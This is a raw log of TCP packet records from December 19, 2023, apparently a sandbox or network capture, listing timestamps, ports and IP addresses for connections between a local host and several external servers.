Dec 19, 2023 03:22:37.775259018 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.775336981 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.775486946 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.775527000 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.775573015 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.775651932 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.775691986 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.775734901 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.826589108 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:38.091696024 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:38.091773987 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:38.091890097 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:38.180340052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:38.180386066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:38.425992966 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:38.450562954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:38.467958927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:38.471920013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:38.471977949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:38.740602970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:38.759430885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:38.810956955 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:38.861854076 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:38.956562042 CET	49751	443	192.168.2.4	104.21.45.142
Dec 19, 2023 03:22:38.956595898 CET	443	49751	104.21.45.142	192.168.2.4
Dec 19, 2023 03:22:38.956676006 CET	49751	443	192.168.2.4	104.21.45.142
Dec 19, 2023 03:22:38.957310915 CET	49751	443	192.168.2.4	104.21.45.142
Dec 19, 2023 03:22:38.957324028 CET	443	49751	104.21.45.142	192.168.2.4
Dec 19, 2023 03:22:39.207448959 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:39.207561016 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:39.207593918 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:39.207617044 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:39.225874901 CET	443	49751	104.21.45.142	192.168.2.4
Dec 19, 2023 03:22:39.225979090 CET	49751	443	192.168.2.4	104.21.45.142
Dec 19, 2023 03:22:39.237746954 CET	49751	443	192.168.2.4	104.21.45.142
Dec 19, 2023 03:22:39.237761021 CET	443	49751	104.21.45.142	192.168.2.4
Dec 19, 2023 03:22:39.238014936 CET	443	49751	104.21.45.142	192.168.2.4
Dec 19, 2023 03:22:39.248447895 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:39.263044119 CET	49751	443	192.168.2.4	104.21.45.142
Dec 19, 2023 03:22:39.304775000 CET	443	49751	104.21.45.142	192.168.2.4
Dec 19, 2023 03:22:39.460952997 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:39.758846998 CET	443	49751	104.21.45.142	192.168.2.4
Dec 19, 2023 03:22:39.758955002 CET	443	49751	104.21.45.142	192.168.2.4
Dec 19, 2023 03:22:39.759116888 CET	49751	443	192.168.2.4	104.21.45.142
Dec 19, 2023 03:22:39.759208918 CET	49751	443	192.168.2.4	104.21.45.142
Dec 19, 2023 03:22:39.759227991 CET	443	49751	104.21.45.142	192.168.2.4
Dec 19, 2023 03:22:39.794893026 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:39.842295885 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:39.895622015 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:39.895648956 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:39.895698071 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:39.896578074 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:39.896589994 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:39.921318054 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:40.160653114 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.160818100 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.162178040 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.162184000 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.162427902 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.163191080 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.208745003 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.253742933 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:40.253845930 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:40.257992983 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:40.262542009 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:40.266619921 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:40.270853996 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:40.457616091 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.457663059 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.457712889 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.457743883 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.457782984 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.457813025 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.457812071 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.457813025 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.457825899 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.457851887 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.458290100 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.458338022 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.458353996 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.458359003 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.458403111 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.458403111 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.458410978 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.458456039 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.458462000 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.459227085 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.459270000 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.459274054 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.459315062 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.459353924 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.459358931 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.460500002 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.460542917 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.460546017 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.460628033 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.460660934 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.460669994 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.460674047 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.460716963 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.460872889 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.460961103 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.460999966 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.460999966 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.461009026 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.461044073 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.461047888 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.462466002 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.462510109 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.462511063 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.462517977 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.462558031 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.462560892 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.462821960 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.462852955 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.462862968 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.462867022 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.462903976 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.463052988 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.463726997 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.463761091 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.463762999 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.463768005 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.463804007 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.463926077 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.464438915 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.464484930 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.464488029 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.464807987 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.464858055 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.464863062 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.514076948 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.582907915 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.582983017 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.583005905 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.583048105 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.583126068 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:40.583143950 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.583188057 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.584273100 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.584337950 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.584407091 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.584455013 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.586118937 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.586167097 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.586484909 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.586540937 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.586646080 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.586694956 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.586776972 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:40.587776899 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.587826014 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.587904930 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.587953091 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.588148117 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.588193893 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.588618040 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:40.588831902 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.588879108 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.589061022 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.589116096 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.589855909 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.589917898 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.590703964 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.590774059 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.590847969 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.590894938 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.592155933 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.592210054 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.592344046 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:40.592348099 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.592392921 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.707546949 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.707607985 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.707820892 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.707866907 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.708563089 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.708620071 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.708710909 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.708748102 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.709575891 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.709630966 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.710309029 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.710350990 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.710419893 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.710467100 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.711272001 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.711333990 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.711359024 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.711400032 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.712213039 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.712253094 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.712959051 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.713004112 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.713061094 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.713099003 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.714144945 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.714190006 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.714845896 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.714895010 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.714994907 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.715038061 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.715635061 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.715684891 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.716500998 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.716557026 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.716619968 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.716669083 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.717438936 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.717487097 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.718224049 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.718277931 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.718355894 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.718399048 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.720155001 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.720182896 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.720212936 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.720221996 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.720235109 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.720253944 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.722702980 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.722723007 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.722762108 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.722769022 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.722810030 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.722810030 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.724473000 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.724488020 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.724530935 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.724538088 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.724575996 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.727044106 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.727066994 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.727091074 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.727096081 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.727128983 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.728893042 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.728909016 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.728940010 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.728944063 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.728955030 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.728981972 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.731569052 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.731590033 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.731616974 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.731621981 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.731643915 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.731654882 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.733433962 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.733448029 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.733500004 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.733506918 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.733542919 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.736031055 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.736046076 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.736082077 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.736093044 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.736105919 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.736126900 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.738545895 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.738562107 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.738593102 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.738599062 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.738622904 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.738636017 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.833338022 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.833354950 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.833517075 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.833528042 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.833561897 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.835105896 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.835127115 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.835170984 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.835177898 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.835212946 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.837709904 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.837723017 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.837765932 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.837771893 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.837789059 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.837809086 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.839591026 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.839605093 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.839647055 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.839652061 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.839687109 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.842073917 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.842087984 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.842144012 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.842154026 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.842196941 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.844640970 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.844655037 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.844705105 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.844711065 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.844747066 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.846929073 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.846942902 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.846977949 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.846983910 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.847008944 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.847022057 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.849215031 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.849229097 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.849268913 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.849273920 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.849303007 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.849315882 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.851299047 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.851313114 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.851365089 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.851368904 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.851403952 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.853579998 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.853594065 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.853634119 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.853638887 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.853669882 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.853682041 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.855438948 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.855453014 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.855490923 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.855496883 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.855532885 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.858169079 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.858185053 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.858233929 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.858239889 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.858268023 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.858285904 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.860152960 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.860167027 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.860203028 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.860208035 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.860234976 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.860245943 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.862559080 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.862574100 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.862618923 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.862622976 CET	443	49752	172.67.185.93	192.168.2.4
